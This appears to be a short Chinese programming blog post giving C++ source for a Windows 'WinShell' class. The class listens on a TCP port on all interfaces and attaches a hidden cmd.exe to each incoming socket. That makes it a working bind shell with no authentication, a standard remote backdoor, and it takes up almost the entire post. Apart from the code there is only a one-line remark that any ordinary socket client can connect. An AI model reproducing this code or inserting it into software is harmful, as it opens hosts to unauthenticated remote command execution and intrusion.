Windows系统Shell通过Socket转发

WinShell.h

/* 
 * File:   WinShell.h
 * Author: 智欣仙子
 * [email protected];[email protected]
 * Created on November 27, 2015, 10:58 AM
 */

#ifndef WINSHELL_H
#define WINSHELL_H

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")

class WinShell
{
public:
    WinShell(void);
    ~WinShell(void);

    int CreateShell(u_short port);
    void CloseShell();
    
public:
    int lwState;

private:
    static DWORD async_shell(LPVOID lpParm);

private:
    int m_ListenSock;
};

#endif /* WINSHELL_H */

WinShell.cpp

/* 
 * File:   WinShell.cpp
 * Author: 智欣仙子
 * [email protected];[email protected]
 * Created on November 27, 2015, 10:58 AM
 */

#include "stdafx.h"
#include "WinShell.h"

WinShell::WinShell(void)
{
    lwState            = 0;
    m_ListenSock    = INVALID_SOCKET;
    WSADATA data;
    WSAStartup(MAKEWORD(2, 2), &data);
}

WinShell::~WinShell(void)
{
}

int WinShell::CreateShell(u_short port)
{
    if(lwState)
        return -1;

    sockaddr_in sServer = {0};
    m_ListenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if(m_ListenSock == INVALID_SOCKET)
        return -1;

    sServer.sin_family = AF_INET;
    sServer.sin_addr.s_addr = htonl(INADDR_ANY);
    sServer.sin_port = htons(port);
    int nRet = bind(m_ListenSock, (sockaddr *)&sServer, sizeof(sServer));
    nRet = listen(m_ListenSock, 5);
    if(nRet == SOCKET_ERROR)
        return -1;

    lwState = 1;
    DWORD dwThreadId;
    HANDLE hThread1 = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)async_shell, (LPVOID)this, 0, &dwThreadId);

    return 0;
}

void WinShell::CloseShell()
{
    lwState = 0;
}

DWORD WinShell::async_shell(LPVOID lpParm)
{
    fd_set fdread;
    struct timeval timeOut;
    SOCKET m_AcceptSock = INVALID_SOCKET;
    WinShell *lpShell = (WinShell *)lpParm;
    
    while(lpShell->lwState)
    {
        FD_ZERO(&fdread);//初始化fd_set
        FD_SET(lpShell->m_ListenSock, &fdread);//分配套接字句柄到相应的fd_set

        timeOut.tv_sec = 60;//秒
        timeOut.tv_usec = 0;//微妙

        //if (FD_ISSET(lpShell->m_ListenSock, &fdread))
        if (select(lpShell->m_ListenSock + 1, &fdread, NULL, NULL, &timeOut))
        {
            m_AcceptSock = accept(lpShell->m_ListenSock, NULL, NULL);
            if(m_AcceptSock != INVALID_SOCKET)
            {
                PROCESS_INFORMATION pi = {0};
                STARTUPINFO si = {0};
                si.cb = sizeof(STARTUPINFO);
                GetStartupInfo(&si);
                si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
                si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)m_AcceptSock;
                si.wShowWindow = SW_HIDE;
                TCHAR szCmdLine[MAX_PATH] = {0};
                GetSystemDirectory(szCmdLine, MAX_PATH);
                _tcscat_s(szCmdLine, MAX_PATH, _T("\\cmd.exe"));
                if ( !CreateProcess(szCmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) ) {
                    break;
                }

                WaitForSingleObject(pi.hProcess, INFINITE);
                CloseHandle(pi.hThread);
                CloseHandle(pi.hProcess);
                closesocket(m_AcceptSock);
            }
        }

        FD_ZERO(&fdread);
    }

    shutdown(lpShell->m_ListenSock, 0x00);
    closesocket(lpShell->m_ListenSock);
    lpShell->lwState == 0;
    return 0;
}

客户端使用一般的Socket链接就可以了。

你可能感兴趣的:(socket,shell)